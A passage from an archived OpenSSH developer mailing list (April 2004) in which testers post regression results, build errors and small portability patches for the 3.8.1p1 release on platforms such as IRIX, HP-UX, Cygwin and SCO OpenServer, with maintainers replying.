test remote exit status: proto 2 status 5
test remote exit status: proto 2 status 44
ok remote exit status
run test transfer.sh ...
transfer data: proto 1
transfer data: proto 2
ok transfer data
run test banner.sh ...
test banner: missing banner file
test banner: size 0
test banner: size 10
test banner: size 100
test banner: size 1000
test banner: size 10000
test banner: size 100000
test banner: suppress banner (-q)
ok banner
run test rekey.sh ...
ok rekey during transfer data
run test stderr-data.sh ...
test stderr data transfer: proto 1 ()
test stderr data transfer: proto 2 ()
test stderr data transfer: proto 1 (-n)
test stderr data transfer: proto 2 (-n)
ok stderr data transfer
run test stderr-after-eof.sh ...
ok stderr data after eof
run test broken-pipe.sh ...
ok broken pipe test
run test try-ciphers.sh ...
test try ciphers: proto 2 cipher aes128-cbc mac hmac-sha1
test try ciphers: proto 2 cipher aes128-cbc mac hmac-md5
test try ciphers: proto 2 cipher aes128-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher aes128-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher 3des-cbc mac hmac-sha1
test try ciphers: proto 2 cipher 3des-cbc mac hmac-md5
test try ciphers: proto 2 cipher 3des-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher 3des-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher blowfish-cbc mac hmac-sha1
test try ciphers: proto 2 cipher blowfish-cbc mac hmac-md5
test try ciphers: proto 2 cipher blowfish-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher blowfish-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher cast128-cbc mac hmac-sha1
test try ciphers: proto 2 cipher cast128-cbc mac hmac-md5
test try ciphers: proto 2 cipher cast128-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher cast128-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher arcfour mac hmac-sha1
test try ciphers: proto 2 cipher arcfour mac hmac-md5
test try ciphers: proto 2 cipher arcfour mac hmac-sha1-96
test try ciphers: proto 2 cipher arcfour mac hmac-md5-96
test try ciphers: proto 2 cipher aes192-cbc mac hmac-sha1
test try ciphers: proto 2 cipher aes192-cbc mac hmac-md5
test try ciphers: proto 2 cipher aes192-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher aes192-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher aes256-cbc mac hmac-sha1
test try ciphers: proto 2 cipher aes256-cbc mac hmac-md5
test try ciphers: proto 2 cipher aes256-cbc mac hmac-sha1-96
test try ciphers: proto 2 cipher aes256-cbc mac hmac-md5-96
test try ciphers: proto 2 cipher rijndael-cbc at lysator.liu.se mac  
hmac-sha1
test try ciphers: proto 2 cipher rijndael-cbc at lysator.liu.se mac  
hmac-md5
test try ciphers: proto 2 cipher rijndael-cbc at lysator.liu.se mac  
hmac-sha1-96
test try ciphers: proto 2 cipher rijndael-cbc at lysator.liu.se mac  
hmac-md5-96
test try ciphers: proto 2 cipher aes128-ctr mac hmac-sha1
test try ciphers: proto 2 cipher aes128-ctr mac hmac-md5
test try ciphers: proto 2 cipher aes128-ctr mac hmac-sha1-96
test try ciphers: proto 2 cipher aes128-ctr mac hmac-md5-96
test try ciphers: proto 2 cipher aes192-ctr mac hmac-sha1
test try ciphers: proto 2 cipher aes192-ctr mac hmac-md5
test try ciphers: proto 2 cipher aes192-ctr mac hmac-sha1-96
test try ciphers: proto 2 cipher aes192-ctr mac hmac-md5-96
test try ciphers: proto 2 cipher aes256-ctr mac hmac-sha1
test try ciphers: proto 2 cipher aes256-ctr mac hmac-md5
test try ciphers: proto 2 cipher aes256-ctr mac hmac-sha1-96
test try ciphers: proto 2 cipher aes256-ctr mac hmac-md5-96
test try ciphers: proto 1 cipher 3des
test try ciphers: proto 1 cipher blowfish
test try ciphers: proto 2 cipher acss at openssh.org mac hmac-sha1
test try ciphers: proto 2 cipher acss at openssh.org mac hmac-md5
test try ciphers: proto 2 cipher acss at openssh.org mac hmac-sha1-96
test try ciphers: proto 2 cipher acss at openssh.org mac hmac-md5-96
ok try ciphers
run test yes-head.sh ...
sh: There is no process to read data written to a pipe.
sh: There is no process to read data written to a pipe.
ok yes pipe head
run test login-timeout.sh ...
ok connect after login grace timeout
run test agent.sh ...
ok simple agent test
run test agent-getpeereid.sh ...
skipped (not supported on this platform)
run test agent-timeout.sh ...
ok agent timeout test
run test agent-ptrace.sh ...
skipped (not supported on this platform)
run test keyscan.sh ...
ok keyscan
run test keygen-change.sh ...
ok change passphrase for key
run test sftp.sh ...
test basic sftp put/get: buffer_size 5 num_requests 1
test basic sftp put/get: buffer_size 5 num_requests 2
test basic sftp put/get: buffer_size 5 num_requests 10
test basic sftp put/get: buffer_size 1000 num_requests 1
test basic sftp put/get: buffer_size 1000 num_requests 2
test basic sftp put/get: buffer_size 1000 num_requests 10
test basic sftp put/get: buffer_size 32000 num_requests 1
test basic sftp put/get: buffer_size 32000 num_requests 2
test basic sftp put/get: buffer_size 32000 num_requests 10
test basic sftp put/get: buffer_size 64000 num_requests 1
test basic sftp put/get: buffer_size 64000 num_requests 2
test basic sftp put/get: buffer_size 64000 num_requests 10
ok basic sftp put/get
run test sftp-cmds.sh ...
sftp commands: lls
sftp commands: ls
sftp commands: shell
sftp commands: pwd
sftp commands: lpwd
sftp commands: quit
sftp commands: help
sftp commands: get
sftp commands: get quoted
sftp commands: get filename with quotes
sftp commands: get to directory
sftp commands: glob get to directory
sftp commands: get to local dir
sftp commands: glob get to local dir
sftp commands: put
sftp commands: put filename with quotes
sftp commands: put to directory
sftp commands: glob put to directory
sftp commands: put to local dir
sftp commands: glob put to local dir
sftp commands: rename
sftp commands: rename directory
sftp commands: ln
sftp commands: mkdir
sftp commands: chdir
sftp commands: rmdir
sftp commands: lmkdir
sftp commands: lchdir
ok sftp commands
run test sftp-badcmds.sh ...
sftp invalid commands: get nonexistent
sftp invalid commands: glob get to nonexistent directory
sftp invalid commands: put nonexistent
sftp invalid commands: glob put to nonexistent directory
sftp invalid commands: rename nonexistent
sftp invalid commands: rename target exists
sftp invalid commands: rename target exists (directory)
sftp invalid commands: glob put files to local file
ok sftp invalid commands
run test sftp-batch.sh ...
sftp batchfile: good commands
sftp batchfile: bad commands
sftp batchfile: comments and blanks
sftp batchfile: junk command
ok sftp batchfile
run test reconfigure.sh ...
ok simple connect after reconfigure
run test dynamic-forward.sh ...
skipped (no suitable ProxyCommand found)
run test forwarding.sh ...
ok local and remote forwarding
make[1]: Leaving directory `/usr/local/src/openssh/regress'


-- 
Sandor Wade Sklar
Unix Systems Administrator
Stanford University ITSS-TSS
Non impediti ratione cogitationis.


-------------- next part --------------
A non-text attachment was scrubbed...
Name: smime.p7s
Type: application/pkcs7-signature
Size: 2367 bytes
Desc: not available
Url : http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040416/6326a3b9/attachment.bin 

From dopheide at ncsa.uiuc.edu  Sat Apr 17 07:08:49 2004
From: dopheide at ncsa.uiuc.edu (Mike Dopheide)
Date: Fri, 16 Apr 2004 16:08:49 -0500 (CDT)
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407BFC64.5030702@zip.com.au>
Message-ID: <Pine.LNX.4.44.0404161554090.23161-100000@osage.ncsa.uiuc.edu>


openssh-SNAP-20040416.tar.gz

Tests OK on ia32 RedHat 8
Tests OK on ia64 SuSE SLES 8
Tests NOT OK on IRIX 6.5 (surprise!)


sftp Tests fail on IRIX 6.5:
...
sftp commands: get filename with quotes
cmp:  EOF  on  /afs/ncsa/.u10/dopheide/openssh/test/openssh/regress/copy."blah"
corrupted copy after get with quotes
...
sftp commands: glob put to directory
put failed
sftp commands: put to local dir
sftp commands: glob put to local dir
put failed

For starters, I know very little about IRIX.  This could very easily just 
be a product of our environment, so I'd prefer it if someone else were to 
test IRIX 6.5 as well.  That being said, I've made the config.log,  
config.status, and some environment info available for your viewing 
pleasure:
http://www.ncsa.uiuc.edu/~dopheide/openssh/

I do not have administrative privileges on that system, but if you need me 
to try anything else, just holler.

-Mike


> Hello All.
> 	Portable OpenSSH version 3.8.1p1 nearing release.  This is primarily a 
> bug fix release and we're asking for interested parties to try a 
> snapshot [1].  A reminder: we rely on community feedback to find out 
> about problems, particularly as there are many platforms any 
> configurations that we don't have access to and can't test.
> 
> 	In most cases, running the built-in tests is as simple as "./configure 
> && make tests", but actually using it will provide a better test for 
> your environment.  Both would be ideal, but either one is far better 
> than neither.
> 
> 	In particular, on HP-UX configure will now attempt to detect a working 
> getnameinfo(), so if you are using IPv6 on HP-UX please see if it 
> detects correctly for your environment.
> 
> 	Thanks,
> 		-Daz.
> 
> Bugs fixed in this release:
> #748 HP-UX 11.11 (aka 11i) needs BROKEN_GETADDRINFO.
> #802 sshd configured with SIA doesn't link on Tru64.
> #808 segfault if not using pam/kbdint mech and password's expired
> #810 TZ environment variable not being set.
> #811 locked /etc/shadow password prefix on linux.
> #820 utmp seems to be getting clobbered on logins (IRIX)
> #825 OpenSSH 3.8p1 breaks on Solaris 8 with 4in6 mapped addresses.
> 
> [1] ftp://ftp.openbsd.org/pub/OpenBSD/OpenSSH/portable/snapshot/
> or one of its mirrors listed at
> http://www.openssh.com/portable.html#mirrors
> 
> 

-- 




From dtucker at zip.com.au  Sat Apr 17 07:34:46 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Sat, 17 Apr 2004 07:34:46 +1000
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <Pine.LNX.4.44.0404161554090.23161-100000@osage.ncsa.uiuc.edu>
References: <Pine.LNX.4.44.0404161554090.23161-100000@osage.ncsa.uiuc.edu>
Message-ID: <40805176.7090905@zip.com.au>

Mike Dopheide wrote:
> sftp Tests fail on IRIX 6.5:
> ...
> sftp commands: get filename with quotes
> cmp:  EOF  on  /afs/ncsa/.u10/dopheide/openssh/test/openssh/regress/copy."blah"
> corrupted copy after get with quotes

Maybe AFS (or possibly just IRIX's implementation of it) doesn't allow 
quotes in filenames?  Does it fail if you run it on a local filesystem, 
eg /tmp?

Thanks for testing.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From nalin at redhat.com  Sat Apr 17 07:42:33 2004
From: nalin at redhat.com (Nalin Dahyabhai)
Date: Fri, 16 Apr 2004 17:42:33 -0400
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <200404152005.19381.jason@devrandom.org>
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
	<200404152005.19381.jason@devrandom.org>
Message-ID: <20040416214233.GH10642@redhat.com>

On Thu, Apr 15, 2004 at 08:05:19PM -0400, Jason McCormick wrote:
> from 127.0.0.1 port 37300 (t4 r2 i0/0 o3/0 fd 10/10)
> FATAL: Connection closed by peer.
> ssh_exchange_identification: Connection closed by remote host

Nine times out of ten, this is caused by the tcp_wrappers configuration.

Anyhow, tested on Fedora Core 2 development circa today, with SELinux
disabled.  Snapshot 20040415, OpenSSL 0.9.7a, MIT Kerberos 1.3.3, built
with --with-pam --with-kerberos5 --with-zlib --with-tcp-wrappers.  All
tests pass when SUDO=sudo.

Nalin



From dtucker at zip.com.au  Sat Apr 17 08:46:44 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Sat, 17 Apr 2004 08:46:44 +1000
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <D590169B-8FDF-11D8-BFD6-000A95B97B2A@stanford.edu>
References: <407BFC64.5030702@zip.com.au>
	<D590169B-8FDF-11D8-BFD6-000A95B97B2A@stanford.edu>
Message-ID: <40806254.7010607@zip.com.au>

Sandor W. Sklar wrote:
> AIX 5.2 ML1, IBM C for AIX 6 compiler, openssh-SNAP-20040416, all tests  
> "ok".

Excellent, thanks.

> *    I had to specify /usr/local/include and /usr/local/lib as CPPFLAGS  
> and LDFLAGS; if I didn't, configure wouldn't find zlib.h or libcrypto.a

The zlib.h problem is because AIX has a /usr/lib/libz.a but don't have 
the corresponding /usr/include/zlib.h.  Configure no longer always 
searches /usr/local, but it will look for libz in /usr/local/ if it 
doesn't find zlib in the system path.

In AIX's case, it finds /usr/lib/libz.a and tries to use it, but can't 
because zlib.h can't be found.

> *    There were a large number of (W)arnings and (I)formation messages  
> during the build process, but nothing fatal.
> 
> *    I tried out the sshd and the ssh client briefly, and it all worked  
> without any obvious problems.

Thanks.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.



From vinschen at redhat.com  Sun Apr 18 20:15:14 2004
From: vinschen at redhat.com (Corinna Vinschen)
Date: Sun, 18 Apr 2004 12:15:14 +0200
Subject: [PATCH] bsd-cygwin_util.c: Relax pubkey authentication prerequisites
Message-ID: <20040418101514.GA1307@cygbert.vinschen.de>

Hi,

is it possible to apply the below patch before 3.8.1p1 comes out?

Due to a posting on the Cygwin mailing list it turned out, that the
prerequisites to allow public key authentication where to tight.
Since Cygwin version 1.5.x the so called `ntsec' setting isn't require
anymore to allow switching user context without password. 

The below patch to bsd-cygwin_util.c fixes the test for that.


Thanks in advance,
Corinna


Index: openbsd-compat/bsd-cygwin_util.c
===================================================================
RCS file: /cvs/openssh_cvs/openbsd-compat/bsd-cygwin_util.c,v
retrieving revision 1.11
diff -p -u -r1.11 bsd-cygwin_util.c
--- openbsd-compat/bsd-cygwin_util.c	7 Aug 2003 06:23:43 -0000	1.11
+++ openbsd-compat/bsd-cygwin_util.c	18 Apr 2004 10:13:03 -0000
@@ -77,6 +77,7 @@ binary_pipe(int fd[2])
 
 #define HAS_CREATE_TOKEN 1
 #define HAS_NTSEC_BY_DEFAULT 2
+#define HAS_CREATE_TOKEN_WO_NTSEC 3
 
 static int 
 has_capability(int what)
@@ -84,6 +85,7 @@ has_capability(int what)
 	static int inited;
 	static int has_create_token;
 	static int has_ntsec_by_default;
+	static int has_create_token_wo_ntsec;
 
 	/* 
 	 * has_capability() basically calls uname() and checks if
@@ -113,6 +115,9 @@ has_capability(int what)
 				has_create_token = 1;
 			if (api_major_version > 0 || api_minor_version >= 56)
 				has_ntsec_by_default = 1;
+			if (major_high > 1 ||
+			    (major_high == 1 && major_low >= 5))
+				has_create_token_wo_ntsec = 1;
 			inited = 1;
 		}
 	}
@@ -121,6 +126,8 @@ has_capability(int what)
 		return (has_create_token);
 	case HAS_NTSEC_BY_DEFAULT:
 		return (has_ntsec_by_default);
+	case HAS_CREATE_TOKEN_WO_NTSEC:
+		return (has_create_token_wo_ntsec);
 	}
 	return (0);
 }
@@ -151,7 +158,8 @@ check_nt_auth(int pwd_authenticated, str
 			if (has_capability(HAS_CREATE_TOKEN) &&
 			    (ntsec_on(cygwin) ||
 			    (has_capability(HAS_NTSEC_BY_DEFAULT) &&
-			    !ntsec_off(cygwin))))
+			     !ntsec_off(cygwin)) ||
+			     has_capability(HAS_CREATE_TOKEN_WO_NTSEC)))
 				has_create_token = 1;
 		}
 		if (has_create_token < 1 &&

-- 
Corinna Vinschen
Cygwin Co-Project Leader
Red Hat, Inc.



From maniac at maniac.nl  Sun Apr 18 23:29:21 2004
From: maniac at maniac.nl (Mark Janssen)
Date: Sun, 18 Apr 2004 15:29:21 +0200
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407BFC64.5030702@zip.com.au>
References: <407BFC64.5030702@zip.com.au>
Message-ID: <1082294960.4126.7.camel@ferrari>

On Tue, 2004-04-13 at 16:42, Darren Tucker wrote:
> Hello All.
> 	Portable OpenSSH version 3.8.1p1 nearing release.  This is primarily a 
> bug fix release and we're asking for interested parties to try a 
> snapshot [1].  A reminder: we rely on community feedback to find out 
> about problems, particularly as there are many platforms any 
> configurations that we don't have access to and can't test.
> 
> 	In most cases, running the built-in tests is as simple as "./configure 
> && make tests", but actually using it will provide a better test for 
> your environment.  Both would be ideal, but either one is far better 
> than neither.

I've tested with snapshot-20040417

I've tried compiling it on my HP D220 HP-UX 11i system... but it failed
during compilation with:

        gcc -g -O2 -Wall -Wpointer-arith -Wno-uninitialized -I. -I.. -I.
-I./..  -D_HPUX_SOURCE -D_XOPEN_SOURCE -D_XOPEN_SOURCE_EXTENDED=1
-DHAVE_CONFIG_H -c xcrypt.c
In file included from /usr/include/sys/user.h:52,
                 from
/usr/local/lib/gcc-lib/hppa2.0n-hp-hpux11.00/3.3.1/include/rpc/auth.h:30,
                 from /usr/include/rpc/rpc.h:61,
                 from /usr/include/rpcsvc/nis.h:9,
                 from /usr/include/prot.h:23,
                 from xcrypt.c:33:
/usr/include/machine/sys/setjmp.h:45: error: redefinition of `struct
label_t'
In file included from xcrypt.c:43:
/usr/include/shadow.h:42: error: conflicting types for `getspnam'
/usr/include/prot.h:650: error: previous declaration of `getspnam'
xcrypt.c: In function `xcrypt':
xcrypt.c:68: warning: passing arg 1 of `bigcrypt' discards qualifiers
from pointer target type
xcrypt.c:68: warning: passing arg 2 of `bigcrypt' discards qualifiers
from pointer target type
*** Error exit code 1

Stop.
*** Error exit code 1

Stop.
# gcc --version
gcc (GCC) 3.3.1
Copyright (C) 2003 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is
NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR
PURPOSE.



> 
> 	In particular, on HP-UX configure will now attempt to detect a working 
> getnameinfo(), so if you are using IPv6 on HP-UX please see if it 
> detects correctly for your environment.

Does anyone have any pointers on how to get HPUX running with IPv6...
I'm still looking on how to do that.

I'm going to test it on debian on PA-Risc next.

Mark Janssen



From gert at greenie.muc.de  Mon Apr 19 04:35:43 2004
From: gert at greenie.muc.de (Gert Doering)
Date: Sun, 18 Apr 2004 20:35:43 +0200
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <407F0A42.9040708@mindrot.org>;
	from djm@mindrot.org on Fri, Apr 16, 2004 at 08:18:42AM +1000
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
Message-ID: <20040418203542.U12611@greenie.muc.de>

Hi,

On Fri, Apr 16, 2004 at 08:18:42AM +1000, Damien Miller wrote:
> So far we have received only *one* test report as a result of this call
> for testing (thanks Corinna).
> 
> We absolutely need wider testing of releases. While we try to test on as
> many platforms as possible, there is no way we can get them all. If you
> want the next stable OpenSSH to work for you, then please help out.

OK.  Testing on SCO Open Server 3.0 (3.2v4.2).

Config output is:

------------- snip ------------------
penSSH has been configured with the following options:
                     User binaries: /usr/local/bin
                   System binaries: /usr/local/sbin
               Configuration files: /etc
                   Askpass program: /usr/local/libexec/ssh-askpass
                      Manual pages: /usr/local/man/manX
                          PID file: /var/run
  Privilege separation chroot path: /var/empty
            sshd default user PATH: /bin:/usr/bin:/usr/local/bin:/usr/local/games/bin
   (If PATH is set in /etc/default/login it will be used instead. If
   used, ensure the path to scp is present, otherwise scp will not work.)
                    Manpage format: man
                       PAM support: no
                 KerberosV support: no
                 Smartcard support: no
                     S/KEY support: yes
              TCP Wrappers support: no
              MD5 password support: no
       IP address in $DISPLAY hack: no
           Translate v4 in v6 hack: no
                  BSD Auth support: no
              Random number source: ssh-rand-helper
     ssh-rand-helper collects from: TCP localhost:3300

              Host: i586-pc-sco3.2v4.2
          Compiler: gcc
    Compiler flags: -g -O2 -Wall -Wpointer-arith -Wno-uninitialized
Preprocessor flags:  -Dftruncate=chsize
      Linker flags: 
         Libraries:   -lcrypto -lskey -lintl -lz -lgen -lrpc -lyp -lrpc -lsocket  -los -lprot -lcrypt_i -lx -ltinfo -lm

------------- snip ------------------

make dies at:

------------- snip ------------------
        gcc -g -O2 -Wall -Wpointer-arith -Wno-uninitialized -I. -I.. -I. -I./..  -Dftruncate=chsize -DHAVE_CONFIG_H -c getrrsetbyname.c
getrrsetbyname.c: In function `getrrsetbyname':
getrrsetbyname.c:190: warning: implicit declaration of function `res_init'
getrrsetbyname.c:206: warning: implicit declaration of function `res_query'
getrrsetbyname.c:209: `h_errno' undeclared (first use this function)
getrrsetbyname.c:209: (Each undeclared identifier is reported only once
getrrsetbyname.c:209: for each function it appears in.)
getrrsetbyname.c: In function `parse_dns_qsection':
getrrsetbyname.c:436: warning: implicit declaration of function `dn_expand'
------------- snip ------------------

fixed by adding an explicit "extern int h_errno;" to that file.

------------- snip ------------------
RCS file: /cvs/openssh_cvs/openbsd-compat/getrrsetbyname.c,v
retrieving revision 1.9
diff -u -r1.9 getrrsetbyname.c
--- getrrsetbyname.c    24 Feb 2004 04:51:07 -0000      1.9
+++ getrrsetbyname.c    18 Apr 2004 17:45:38 -0000
@@ -167,6 +167,7 @@
        int length;
        unsigned int index_ans, index_sig;
        u_char answer[ANSWER_BUFFER_SIZE];
+       extern int h_errno;
 
        /* check for invalid class and type */
        if (rdclass > 0xffff || rdtype > 0xffff) {
------------- snip ------------------

The regression test isn't portable enough for oldish SCO:
------------- snip ------------------
run test connect ...
/u/softadm/openssh_cvs/regress/test-exec.sh: whoami: not found
id: illegal option -- u
id: illegal option -- n
Usage: id [-l] [-s]
...
/u/softadm/openssh_cvs/regress/ssh_config line 5: Missing argument.
ssh connect with protocol 1 failed
/u/softadm/openssh_cvs/regress/ssh_config line 5: Missing argument.
ssh connect with protocol 2 failed
failed simple connect
------------- snip ------------------

("id" doesn't have any switch to only display the current user name).

Hopefully quite portable fix:

------------- snip ------------------
--- regress/test-exec.sh        29 Feb 2004 09:31:08 -0000      1.7
+++ regress/test-exec.sh        18 Apr 2004 18:12:22 -0000
@@ -8,8 +8,10 @@
        USER=`/usr/ucb/whoami`
 elif whoami >/dev/null 2>&1; then
        USER=`whoami`
-else
+elif id -un >/dev/null 2>&1; then
        USER=`id -un`
+else
+       USER=`who am i | cut -d' ' -f1` 
 fi
 
 OBJ=$1
------------- snip ------------------

... it still fails:
------------- snip ------------------
Connection closed by 127.0.0.1
ssh connect with protocol 1 failed
Connection closed by 127.0.0.1
ssh connect with protocol 2 failed
failed simple connect
------------- snip ------------------


Doing individual tests leads to:

 - unprivileged ssh works fine (-1 and -2)

 - chmod 4711'ed ssh (for RhostsRSAAuthentication) is broken:

------------- snip ------------------
gert at greenie:/u/softadm/openssh_cvs$ ./ssh -1 -v $targethost
OpenSSH_3.8.1p1, OpenSSL 0.9.6g 9 Aug 2002
debug1: Reading configuration data /etc/ssh_config
debug1: Connecting to $targethost [19.20.21.100] port 22.
rresvport: af=2 Permission denied
ssh: connect to host $targethost port 22: Permission denied
------------- snip ------------------

 - sshd -1 / RhostsRSAAuthentication works, but has an interesting side 
   effect: upon logout, the client gets the message
------------- snip ------------------
Received disconnect from 193.149.48.161: wait: No child processes
------------- snip ------------------

   the server log ends with:
------------- snip ------------------
debug1: server_init_dispatch_13
debug1: server_init_dispatch_15
debug1: Received SIGCHLD.
debug2: notify_done: reading
debug1: End of interactive session; stdin 12, stdout (read 829, sent 829), stderr 0 bytes.
Disconnecting: wait: No child processes
debug1: do_cleanup
debug1: session_pty_cleanup: session 0 release /dev/ttyp25
------------- snip ------------------

 - sshd -2 / HostBasedAuthentication mostly works, but upon logout, the
   client session hangs:
------------- snip ------------------
gert at greenie:/u/gert$ exit
debug1: channel 0: rcvd eof
debug1: channel 0: output open -> drain
debug1: channel 0: obuf empty
debug1: channel 0: close_write
debug1: channel 0: output drain -> closed
<nothing more>
------------- snip ------------------

   server side (-d -d -d)
------------- snip ------------------
debug2: fd 10 setting O_NONBLOCK
debug2: fd 9 is O_NONBLOCK
debug1: Received SIGCHLD.
debug2: notify_done: reading
debug2: channel 0: read<=0 rfd 10 len 0
debug2: channel 0: read failed
debug2: channel 0: close_read
debug2: channel 0: input open -> drain
debug2: channel 0: ibuf empty
debug2: channel 0: send eof
debug2: channel 0: input drain -> closed
<nothing more>
------------- snip ------------------

   (this is not a new thing - it was already in 3.6, but I haven't been
   able to figure out what's going on here)


 - password authentication is completely broken - SCO uses SECUREWARE /
   "getprpwnam()" for "trusted computing base" password access, but
   the corresponding code from auth-passwd.c seems to have disappeared.

   I assume that a "CUSTOM_SYS_AUTH_PASSWD" module needs to be written
   to support SECUREWARE.


Summary: it might not be worth effort.  I'm unsure whether anybody but 
myself is still interested in SCO Open Server 3.0 / SCO Unix 3.2v4.2, 
and I'm working on migrating myself away from this platform anyway.

In any case it should be mentioned in the documentation that this old
SCO system is now "unsupported" and *will not work* without major 
effort.

gert

-- 
USENET is *not* the non-clickable part of WWW!
                                                           //www.muc.de/~gert/
Gert Doering - Munich, Germany                             gert at greenie.muc.de
fax: +49-89-35655025                        gert at net.informatik.tu-muenchen.de



From dtucker at zip.com.au  Mon Apr 19 09:54:40 2004
From: dtucker at zip.com.au (Darren Tucker)
Date: Mon, 19 Apr 2004 09:54:40 +1000
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <20040418203542.U12611@greenie.muc.de>
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
	<20040418203542.U12611@greenie.muc.de>
Message-ID: <40831540.6040000@zip.com.au>

Gert Doering wrote:
> OK.  Testing on SCO Open Server 3.0 (3.2v4.2).
[snip]

> fixed by adding an explicit "extern int h_errno;" to that file.

I think we should have configure test for its presence rather than 
(re)declaring it unconditionally.  Please try attached patch (you will 
need to run "autoconf" before running configure).

> The regression test isn't portable enough for oldish SCO:

> ("id" doesn't have any switch to only display the current user name).
> Hopefully quite portable fix:

[snip]
Seems reasonable.

> Doing individual tests leads to:
> 
>  - unprivileged ssh works fine (-1 and -2)
> 
>  - chmod 4711'ed ssh (for RhostsRSAAuthentication) is broken:
> 
> ------------- snip ------------------
> gert at greenie:/u/softadm/openssh_cvs$ ./ssh -1 -v $targethost
> OpenSSH_3.8.1p1, OpenSSL 0.9.6g 9 Aug 2002
> debug1: Reading configuration data /etc/ssh_config
> debug1: Connecting to $targethost [19.20.21.100] port 22.
> rresvport: af=2 Permission denied
> ssh: connect to host $targethost port 22: Permission denied
> ------------- snip ------------------

Can't bind to a low port even with setuid? Not sure how to explain that 
other than a broken kernel?

[snip sshv2 hang]
>    (this is not a new thing - it was already in 3.6, but I haven't been
>    able to figure out what's going on here)

There's a bug for this, but we (including the reporter) gave up on it 
because we couldn't figure it out:
http://bugzilla.mindrot.org/show_bug.cgi?id=651

>  - password authentication is completely broken - SCO uses SECUREWARE /
>    "getprpwnam()" for "trusted computing base" password access, but
>    the corresponding code from auth-passwd.c seems to have disappeared.
> 
>    I assume that a "CUSTOM_SYS_AUTH_PASSWD" module needs to be written
>    to support SECUREWARE.

The getprpwname() stuff has just moved to openbsd-compat/xcrypt.c, 
perhaps the #ifdef's aren't quite right?

> Summary: it might not be worth effort.  I'm unsure whether anybody but 
> myself is still interested in SCO Open Server 3.0 / SCO Unix 3.2v4.2, 
> and I'm working on migrating myself away from this platform anyway.
> 
> In any case it should be mentioned in the documentation that this old
> SCO system is now "unsupported" and *will not work* without major 
> effort.

-- 
Darren Tucker (dtucker at zip.com.au)
GPG key 8FF4FA69 / D9A3 86E9 7EEE AF4B B2D4  37C9 C982 80C7 8FF4 FA69
     Good judgement comes with experience. Unfortunately, the experience
usually comes from bad judgement.
-------------- next part --------------
An embedded and charset-unspecified text was scrubbed...
Name: openssh-h_errno.patch
Url: http://lists.mindrot.org/pipermail/openssh-unix-dev/attachments/20040419/b580ec6d/attachment.ksh 

From gert at greenie.muc.de  Mon Apr 19 16:58:31 2004
From: gert at greenie.muc.de (Gert Doering)
Date: Mon, 19 Apr 2004 08:58:31 +0200
Subject: OpenSSH 3.8.1p1: call for testing
In-Reply-To: <40831540.6040000@zip.com.au>;
	from dtucker@zip.com.au on Mon, Apr 19, 2004 at 09:54:40AM +1000
References: <407BFC64.5030702@zip.com.au> <407F0A42.9040708@mindrot.org>
	<20040418203542.U12611@greenie.muc.de>
	<40831540.6040000@zip.com.au>
Message-ID: <20040419085831.C12611@greenie.muc.de>

Hi,

On Mon, Apr 19, 2004 at 09:54:40AM +1000, Darren Tucker wrote:
> > fixed by adding an explicit "extern int h_errno;" to that file.
> 
> I think we should have configure test for its presence rather than 
> (re)declaring it unconditionally.  Please try attached patch (you will 
> need to run "autoconf" before running configure).

Will try this tonight.

[..]
> > Doing individual tests leads to:
> > 
> >  - unprivileged ssh works fine (-1 and -2)
> > 
> >  - chmod 4711'ed ssh (for RhostsRSAAuthentication) is broken:
> > 
> > ------------- snip ------------------
> > gert at greenie:/u/softadm/openssh_cvs$ ./ssh -1 -v $targethost
> > OpenSSH_3.8.1p1, OpenSSL 0.9.6g 9 Aug 2002
> > debug1: Reading configuration data /etc/ssh_config
> > debug1: Connecting to $targethost [19.20.21.100] port 22.
> > rresvport: af=2 Permission denied
> > ssh: connect to host $targethost port 22: Permission denied
> > ------------- snip ------------------
> 
> Can't bind to a low port even with setuid? Not sure how to explain that 
> other than a broken kernel?

I assume it's some set*id() switching hickup.  With earlier openssh
versions, this is not an issue...:

------------- snip ------------------
OpenSSH_3.1p1, SSH protocols 1.5/2.0, OpenSSL 0x0090603f
debug1: Reading configuration data /etc/ssh_config
debug1: restore_uid
debug1: ssh_connect: getuid 0 geteuid 0 anon 0
debug1: Connecting to moebius2.space.net [195.30.1.100] port 22.
debug1: Allocated local port 912.
debug1: restore_uid
debug1: Connection established.
------------- snip ------------------

(I'm sure 3.5p1 worked fine as well, but seem to have lost its binary 
when running the recent tests)

> [snip sshv2 hang]
> >    (this is not a new thing - it was already in 3.6, but I haven't been
> >    able to figure out what's going on here)
> 
> There's a bug for this, but we (including the reporter) gave up on it 
> because we couldn't figure it out:
> http://bugzilla.mindrot.org/show_bug.cgi?id=651

Thanks.  Will look into it, maybe something rings a bell.

> >  - password authentication is completely broken - SCO uses SECUREWARE /
> >    "getprpwnam()" for "trusted computing base" password access, but
